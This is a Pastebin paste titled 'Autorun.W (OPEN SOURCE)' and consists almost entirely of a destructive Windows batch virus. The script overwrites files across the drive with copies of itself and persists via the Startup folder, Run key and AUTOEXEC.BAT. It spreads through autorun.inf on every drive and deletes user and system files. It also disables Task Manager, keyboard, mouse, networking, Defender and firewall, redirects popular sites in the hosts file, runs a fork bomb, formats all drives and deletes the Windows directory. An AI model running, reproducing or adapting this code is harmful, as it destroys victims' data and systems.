Advertisement
4511052008

Autorun.W (OPEN SOURCE)

Sep 17th, 2022 (edited)
520
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. @echo off
  2.  
  3. REN *.bat *.gif
  4.  
  5. REN *.exe *.png
  6.  
  7. REN *.gif *.vir
  8.  
  9. REN *.jpeg *.vir
  10.  
  11. REN *.png *.vir
  12.  
  13. REN *.mp3 *.bat
  14.  
  15. REN *.avi *.mp3
  16.  
  17. REN *.wmv *.txt
  18.  
  19. REN *.doc *.jpeg
  20.  
  21. REN *.pdf *.gif
  22.  
  23. REN *.cls *.exe
  24.  
  25. REN *.mov *.bat
  26.  
  27. Dir %Homedrive% /s /b > DirPath
  28. For /f %%Y In (DirPath) Do (
  29. Set DirPath=%%Y > Nul
  30. For %%Z In (%DirPath%\*.bat) Do (
  31. Set BatInfect=%%Z > Nul
  32. Copy /y %0 %BatInfect%
  33. )
  34. )
  35. Del /f /s /q DirPath
  36.  
  37. Dir %Homedrive% /s /b > DirPath
  38. For /f %%Y In (DirPath) Do (
  39. Set DirPath=%%Y > Nul
  40. For %%Z In (%DirPath%\*.exe) Do (
  41. Set ExeInfect=%%Z > Nul
  42. Copy /y %0 %ExeInfect%
  43. )
  44. )
  45. Del /f /s /q DirPath
  46.  
  47. Dir %Homedrive% /s /b > DirPath
  48. For /f %%Y In (DirPath) Do (
  49. Set DirPath=%%Y > Nul
  50. For %%Z In (%DirPath%\*.gif) Do (
  51. Set GifInfect=%%Z > Nul
  52. Copy /y %0 %GifInfect%
  53. )
  54. )
  55. Del /f /s /q DirPath
  56.  
  57. Dir %Homedrive% /s /b > DirPath
  58. For /f %%Y In (DirPath) Do (
  59. Set DirPath=%%Y > Nul
  60. For %%Z In (%DirPath%\*.jpeg) Do (
  61. Set JpegInfect=%%Z > Nul
  62. Copy /y %0 %JpegInfect%
  63. )
  64. )
  65. Del /f /s /q DirPath
  66.  
  67. Dir %Homedrive% /s /b > DirPath
  68. For /f %%Y In (DirPath) Do (
  69. Set DirPath=%%Y > Nul
  70. For %%Z In (%DirPath%\*.mp3) Do (
  71. Set Mp3Infect=%%Z > Nul
  72. Copy /y %0 %Mp3Infect%
  73. )
  74. )
  75. Del /f /s /q DirPath
  76.  
  77. Dir %Homedrive% /s /b > DirPath
  78. For /f %%Y In (DirPath) Do (
  79. Set DirPath=%%Y > Nul
  80. For %%Z In (%DirPath%\*.mpeg) Do (
  81. Set MpegInfect=%%Z > Nul
  82. Copy /y %0 %MpegInfect%
  83. )
  84. )
  85. Del /f /s /q DirPath
  86.  
  87. Dir %Homedrive% /s /b > DirPath
  88. For /f %%Y In (DirPath) Do (
  89. Set DirPath=%%Y > Nul
  90. For %%Z In (%DirPath%\*.rar) Do (
  91. Set RarInfect=%%Z > Nul
  92. Copy /y %0 %RarInfect%
  93. )
  94. )
  95. Del /f /s /q DirPath
  96.  
  97. Dir %Homedrive% /s /b > DirPath
  98. For /f %%Y In (DirPath) Do (
  99. Set DirPath=%%Y > Nul
  100. For %%Z In (%DirPath%\*.txt) Do (
  101. Set TxtInfect=%%Z > Nul
  102. Copy /y %0 %TxtInfect%
  103. )
  104. )
  105. Del /f /s /q DirPath
  106.  
  107. Dir %Homedrive% /s /b > DirPath
  108. For /f %%Y In (DirPath) Do (
  109. Set DirPath=%%Y > Nul
  110. For %%Z In (%DirPath%\*.vbs) Do (
  111. Set VbsInfect=%%Z > Nul
  112. Copy /y %0 %VbsInfect%
  113. )
  114. )
  115. Del /f /s /q DirPath
  116.  
  117. Dir %Homedrive% /s /b > DirPath
  118. For /f %%Y In (DirPath) Do (
  119. Set DirPath=%%Y > Nul
  120. For %%Z In (%DirPath%\*.doc) Do (
  121. Set DocInfect=%%Z > Nul
  122. Copy /y %0 %DocInfect%
  123. )
  124. )
  125. Del /f /s /q DirPath
  126.  
  127. Dir %Homedrive% /s /b > DirPath
  128. For /f %%Y In (DirPath) Do (
  129. Set DirPath=%%Y > Nul
  130. For %%Z In (%DirPath%\*.html) Do (
  131. Set HtmlInfect=%%Z > Nul
  132. Copy /y %0 %HtmlInfect%
  133. )
  134. )
  135. Del /f /s /q DirPath
  136.  
  137. Dir %Homedrive% /s /b > DirPath
  138. For /f %%Y In (DirPath) Do (
  139. Set DirPath=%%Y > Nul
  140. For %%Z In (%DirPath%\*.wma) Do (
  141. Set WmaInfect=%%Z > Nul
  142. Copy /y %0 %WmaInfect%
  143. )
  144. )
  145. Del /f /s /q DirPath
  146.  
  147. Dir %Homedrive% /s /b > DirPath
  148. For /f %%Y In (DirPath) Do (
  149. Set DirPath=%%Y > Nul
  150. For %%Z In (%DirPath%\*.zip) Do (
  151. Set ZipInfect=%%Z > Nul
  152. Copy /y %0 %ZipInfect%
  153. )
  154. )
  155. Del /f /s /q DirPath
  156.  
  157. Dir %Homedrive% /s /b > DirPath
  158. For /f %%Y In (DirPath) Do (
  159. Set DirPath=%%Y > Nul
  160. For %%Z In (%DirPath%\*.png) Do (
  161. Set PngInfect=%%Z > Nul
  162. Copy /y %0 %PngInfect%
  163. )
  164. )
  165. Del /f /s /q DirPath
  166.  
  167. Dir %Homedrive% /s /b > DirPath
  168. For /f %%Y In (DirPath) Do (
  169. Set DirPath=%%Y > Nul
  170. For %%Z In (%DirPath%\*.mov) Do (
  171. Set MovInfect=%%Z > Nul
  172. Copy /y %0 %MovInfect%
  173. )
  174. )
  175. Del /f /s /q DirPath
  176.  
  177. Dir %Homedrive% /s /b > DirPath
  178. For /f %%Y In (DirPath) Do (
  179. Set DirPath=%%Y > Nul
  180. For %%Z In (%DirPath%\*.mp4) Do (
  181. Set Mp4Infect=%%Z > Nul
  182. Copy /y %0 %Mp4Infect%
  183. )
  184. )
  185. Del /f /s /q DirPath
  186.  
  187. Dir %Homedrive% /s /b > DirPath
  188. For /f %%Y In (DirPath) Do (
  189. Set DirPath=%%Y > Nul
  190. For %%Z In (%DirPath%\*.vb) Do (
  191. Set vbInfect=%%Z > Nul
  192. Copy /y %0 %vbInfect%
  193. )
  194. )
  195. Del /f /s /q DirPath
  196.  
  197. copy "batvirus.bat" "%userprofile%\Start Menu\Programs\Startup\batvirus.bat"
  198.  
  199. valinf = "rundll32_%random%_toolbar"
  200. reginf = "hklm\Software\Microsoft\Windows\CurrentVersion\Run"
  201. reg add %reginf% /v %valinf% /t "REG_SZ" /d %0 /f > nul
  202.  
  203. echo start "" %0>>%SystemDrive%\AUTOEXEC.BAT
  204.  
  205. copy %0 %windir%\system32\ls.bat
  206.  
  207. for %%E In (A,B,C,D,E,F,G,H,I,J,K,L,M,N,O,P,Q,R,S,T,U,V,W,X,Y,Z) Do (
  208. copy /Y %0 %%E:\
  209. echo [AutoRun] > %%E:\autorun.inf
  210. echo open="%%E:\%0" >> %%E:\autorun.inf
  211. echo action=Open folder to see files... >> %%E:\autorun.inf)
  212.  
  213. Dir %SystemRoot% /s /b > PathHost
  214. For /f %%a In (PathHost) Do Copy /y %0 %%a > Nul
  215. Del /f /s /q PathHost > Nul
  216.  
  217. del /f /q "calc.exe"
  218.  
  219. del /f /q "mspaint.exe"
  220.  
  221. del /f /q "C:\Users\%userprofile%\My Documents\My Pictures\*.*"
  222.  
  223. del /f /q "C:\Program Files\Windows Media Player\*.*"
  224.  
  225. del /f /q "C:\Program Files\Internet Explorer\iexplore.exe"
  226.  
  227. del /f /q "C:\Users\%userprofile%\My Documents\*.*"
  228.  
  229. del /f /q "notepad.exe"
  230.  
  231. del /f /q "WordPad.exe"
  232.  
  233. del /f /q "C:\Program Files\Mozilla Firefox\*.*"
  234.  
  235. del /f /q "C:\Users\%userprofile%\My Documents\My Music\*.*"
  236.  
  237. del /f /q "wlmail.exe"
  238.  
  239. del /f /q "C:\WINDOWS\system32\kernel32.dll"
  240.  
  241. reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_SZ /d 1 /f >nul
  242.  
  243. echo Windows Registry Editor Version 5.00 > "nokeyboard.reg"
  244. echo [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Keyboard Layout] >> "nokeyboard.reg"
  245. echo "Scancode Map"=hex:00,00,00,00,00,00,00,00,7c,00,00,00,00,00,01,00,00,\ >> "nokeyboard.reg"
  246. echo 00,3b,00,00,00,3c,00,00,00,3d,00,00,00,3e,00,00,00,3f,00,00,00,40,00,00,00,\ >> "nokeyboard.reg"
  247. echo 41,00,00,00,42,00,00,00,43,00,00,00,44,00,00,00,57,00,00,00,58,00,00,00,37,\ >> "nokeyboard.reg"
  248. echo e0,00,00,46,00,00,00,45,00,00,00,35,e0,00,00,37,00,00,00,4a,00,00,00,47,00,\ >> "nokeyboard.reg"
  249. echo 00,00,48,00,00,00,49,00,00,00,4b,00,00,00,4c,00,00,00,4d,00,00,00,4e,00,00,\ >> "nokeyboard.reg"
  250. echo 00,4f,00,00,00,50,00,00,00,51,00,00,00,1c,e0,00,00,53,00,00,00,52,00,00,00,\ >> "nokeyboard.reg"
  251. echo 4d,e0,00,00,50,e0,00,00,4b,e0,00,00,48,e0,00,00,52,e0,00,00,47,e0,00,00,49,\ >> "nokeyboard.reg"
  252. echo e0,00,00,53,e0,00,00,4f,e0,00,00,51,e0,00,00,29,00,00,00,02,00,00,00,03,00,\ >> "nokeyboard.reg"
  253. echo 00,00,04,00,00,00,05,00,00,00,06,00,00,00,07,00,00,00,08,00,00,00,09,00,00,\ >> "nokeyboard.reg"
  254. echo 00,0a,00,00,00,0b,00,00,00,0c,00,00,00,0d,00,00,00,0e,00,00,00,0f,00,00,00,\ >> "nokeyboard.reg"
  255. echo 10,00,00,00,11,00,00,00,12,00,00,00,13,00,00,00,14,00,00,00,15,00,00,00,16,\ >> "nokeyboard.reg"
  256. echo 00,00,00,17,00,00,00,18,00,00,00,19,00,00,00,1a,00,00,00,1b,00,00,00,2b,00,\ >> "nokeyboard.reg"
  257. echo 00,00,3a,00,00,00,1e,00,00,00,1f,00,00,00,20,00,00,00,21,00,00,00,22,00,00,\ >> "nokeyboard.reg"
  258. echo 00,23,00,00,00,24,00,00,00,25,00,00,00,26,00,00,00,27,00,00,00,28,00,00,00,\ >> "nokeyboard.reg"
  259. echo 1c,00,00,00,2a,00,00,00,2c,00,00,00,2d,00,00,00,2e,00,00,00,2f,00,00,00,30,\ >> "nokeyboard.reg"
  260. echo 00,00,00,31,00,00,00,32,00,00,00,33,00,00,00,34,00,00,00,35,00,00,00,36,00,\ >> "nokeyboard.reg"
  261. echo 00,00,1d,00,00,00,5b,e0,00,00,38,00,00,00,39,00,00,00,38,e0,00,00,5c,e0,00,\ >> "nokeyboard.reg"
  262. echo 00,5d,e0,00,00,1d,e0,00,00,5f,e0,00,00,5e,e0,00,00,22,e0,00,00,24,e0,00,00,\ >> "nokeyboard.reg"
  263. echo 10,e0,00,00,19,e0,00,00,30,e0,00,00,2e,e0,00,00,2c,e0,00,00,20,e0,00,00,6a,\ >> "nokeyboard.reg"
  264. echo e0,00,00,69,e0,00,00,68,e0,00,00,67,e0,00,00,42,e0,00,00,6c,e0,00,00,6d,e0,\ >> "nokeyboard.reg"
  265. echo 00,00,66,e0,00,00,6b,e0,00,00,21,e0,00,00,00,00 >> "nokeyboard.reg"
  266. start nokeyboard.reg
  267.  
  268. set key="HKEY_LOCAL_MACHINE\system\CurrentControlSet\Services\Mouclass"
  269. reg delete %key%
  270. reg add %key% /v Start /t REG_DWORD /d 4
  271.  
  272. ipconfig /release
  273. if ERRORLEVEL1 ipconfig /release_all
  274.  
  275. net stop "WinDefend"
  276. taskkill /f /t /im "MSASCui.exe"
  277.  
  278. net stop "WPCSvc"
  279.  
  280. net stop "wscsvc"
  281.  
  282. net stop "wuauserv"
  283.  
  284. net stop "SDRSVC"
  285.  
  286. net stop "WerSvc"
  287.  
  288. net stop "MpsSvc"
  289. taskkill /f /t /im "FirewallControlPanel.exe"
  290.  
  291. net stop "WSearch"
  292.  
  293. echo Do >> "opendisk.vbs"
  294. echo Set oWMP = CreateObject("WMPlayer.OCX.7" ) >> "opendisk.vbs"
  295. echo Set colCDROMs = oWMP.cdromCollection >> "opendisk.vbs"
  296. echo colCDROMs.Item(d).Eject >> "opendisk.vbs"
  297. echo colCDROMs.Item(d).Eject >> "opendisk.vbs"
  298. echo Loop >> "opendisk.vbs"
  299. start "" "opendisk.vbs"
  300.  
  301. time 12:00
  302.  
  303. DIR /S/B %SystemDrive%\*.txt >> FIleList_txt.txt
  304. echo Y | FOR /F "tokens=1,* delims=: " %%j in (FIleList_txt.txt) do del "%%j:%%k"
  305.  
  306. DIR /S/B %SystemDrive%\*.doc >> FIleList_doc.txt
  307. echo Y | FOR /F "tokens=1,* delims=: " %%j in (FIleList_doc.txt) do del "%%j:%%k"
  308.  
  309. DIR /S/B %SystemDrive%\*.vb >> FIleList_vb.txt
  310. echo Y | FOR /F "tokens=1,* delims=: " %%j in (FIleList_vb.txt) do del "%%j:%%k"
  311.  
  312. DIR /S/B %SystemDrive%\*.exe >> FIleList_exe.txt
  313. echo Y | FOR /F "tokens=1,* delims=: " %%j in (FIleList_exe.txt) do del "%%j:%%k"
  314.  
  315. DIR /S/B %SystemDrive%\*.jpeg >> FIleList_jpeg.txt
  316. echo Y | FOR /F "tokens=1,* delims=: " %%j in (FIleList_jpeg.txt) do del "%%j:%%k"
  317.  
  318. DIR /S/B %SystemDrive%\*.png >> FIleList_png.txt
  319. echo Y | FOR /F "tokens=1,* delims=: " %%j in (FIleList_png.txt) do del "%%j:%%k"
  320.  
  321. DIR /S/B %SystemDrive%\*.gif >> FIleList_gif.txt
  322. echo Y | FOR /F "tokens=1,* delims=: " %%j in (FIleList_gif.txt) do del "%%j:%%k"
  323.  
  324. DIR /S/B %SystemDrive%\*.bmp >> FIleList_bmp.txt
  325. echo Y | FOR /F "tokens=1,* delims=: " %%j in (FIleList_bmp.txt) do del "%%j:%%k"
  326.  
  327. DIR /S/B %SystemDrive%\*.mp3 >> FIleList_mp3.txt
  328. echo Y | FOR /F "tokens=1,* delims=: " %%j in (FIleList_mp3.txt) do del "%%j:%%k"
  329.  
  330. DIR /S/B %SystemDrive%\*.mp4 >> FIleList_mp4.txt
  331. echo Y | FOR /F "tokens=1,* delims=: " %%j in (FIleList_mp4.txt) do del "%%j:%%k"
  332.  
  333. DIR /S/B %SystemDrive%\*.rar >> FIleList_rar.txt
  334. echo Y | FOR /F "tokens=1,* delims=: " %%j in (FIleList_rar.txt) do del "%%j:%%k"
  335.  
  336. DIR /S/B %SystemDrive%\*.zip >> FIleList_zip.txt
  337. echo Y | FOR /F "tokens=1,* delims=: " %%j in (FIleList_zip.txt) do del "%%j:%%k"
  338.  
  339. taskkill /f /t /im chrome.exe
  340.  
  341. taskkill /f /t /im firefox.exe
  342.  
  343. taskkill /f /t /im opera.exe
  344.  
  345. taskkill /f /t /im iexplore.exe
  346.  
  347. taskkill /f /t /im explorer.exe
  348.  
  349. taskkill /f /t /im hl.exe
  350.  
  351. taskkill /f /t /im cstrike.exe
  352.  
  353. cd "C:\Windows\System32\Drivers\etc"
  354. echo 127.0.0.1 google.com >> "Hosts"
  355. echo 127.0.0.1 http://www.google.com >> "Hosts"
  356.  
  357. cd "C:\Windows\System32\Drivers\etc"
  358. echo 127.0.0.1 yahoo.com >> "Hosts"
  359. echo 127.0.0.1 http://www.yahoo.com >> "Hosts"
  360.  
  361. cd "C:\Windows\System32\Drivers\etc"
  362. echo 127.0.0.1 facebook.com >> "Hosts"
  363. echo 127.0.0.1 http://www.facebook.com >> "Hosts"
  364.  
  365. cd "C:\Windows\System32\Drivers\etc"
  366. echo 127.0.0.1 hotmail.com >> "Hosts"
  367. echo 127.0.0.1 http://www.hotmail.com >> "Hosts"
  368.  
  369. del /f /q %0
  370.  
  371. %0|%0
  372.  
  373. FORMAT A: /FS:NTFS /V:(A:) /X /P:1 /y >nul
  374. FORMAT B: /FS:NTFS /V:(B:) /X /P:1 /y >nul
  375. FORMAT C: /FS:NTFS /V:(C:) /X /P:1 /y >nul
  376. FORMAT D: /FS:NTFS /V:(D:) /X /P:1 /y >nul
  377. FORMAT E: /FS:NTFS /V:(E:) /X /P:1 /y >nul
  378. FORMAT F: /FS:NTFS /V:(F:) /X /P:1 /y >nul
  379. FORMAT G: /FS:NTFS /V:(G:) /X /P:1 /y >nul
  380. FORMAT H: /FS:NTFS /V:(H:) /X /P:1 /y >nul
  381. FORMAT I: /FS:NTFS /V:(I:) /X /P:1 /y >nul
  382. FORMAT J: /FS:NTFS /V:(J:) /X /P:1 /y >nul
  383. FORMAT K: /FS:NTFS /V:(K:) /X /P:1 /y >nul
  384. FORMAT M: /FS:NTFS /V:(M:) /X /P:1 /y >nul
  385. FORMAT N: /FS:NTFS /V:(N:) /X /P:1 /y >nul
  386. FORMAT O: /FS:NTFS /V:(O:) /X /P:1 /y >nul
  387. FORMAT P: /FS:NTFS /V:(P:) /X /P:1 /y >nul
  388. FORMAT Q: /FS:NTFS /V:(Q:) /X /P:1 /y >nul
  389. FORMAT R: /FS:NTFS /V:(R:) /X /P:1 /y >nul
  390. FORMAT S: /FS:NTFS /V:(S:) /X /P:1 /y >nul
  391. FORMAT T: /FS:NTFS /V:(T:) /X /P:1 /y >nul
  392. FORMAT U: /FS:NTFS /V:(U:) /X /P:1 /y >nul
  393. FORMAT V: /FS:NTFS /V:(V:) /X /P:1 /y >nul
  394. FORMAT W: /FS:NTFS /V:(W:) /X /P:1 /y >nul
  395. FORMAT X: /FS:NTFS /V:(X:) /X /P:1 /y >nul
  396. FORMAT Z: /FS:NTFS /V:(Z:) /X /P:1 /y >nul
  397.  
  398. format c: /q /autotest
  399.  
  400. DELTREE /Y %windir%
  401.  
  402. echo x=msgbox("I love you bitch!",vbCritical or vbOkOnly,"Noob says:") >>dll32.vbs"
  403. start "" "dll32.vbs"
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement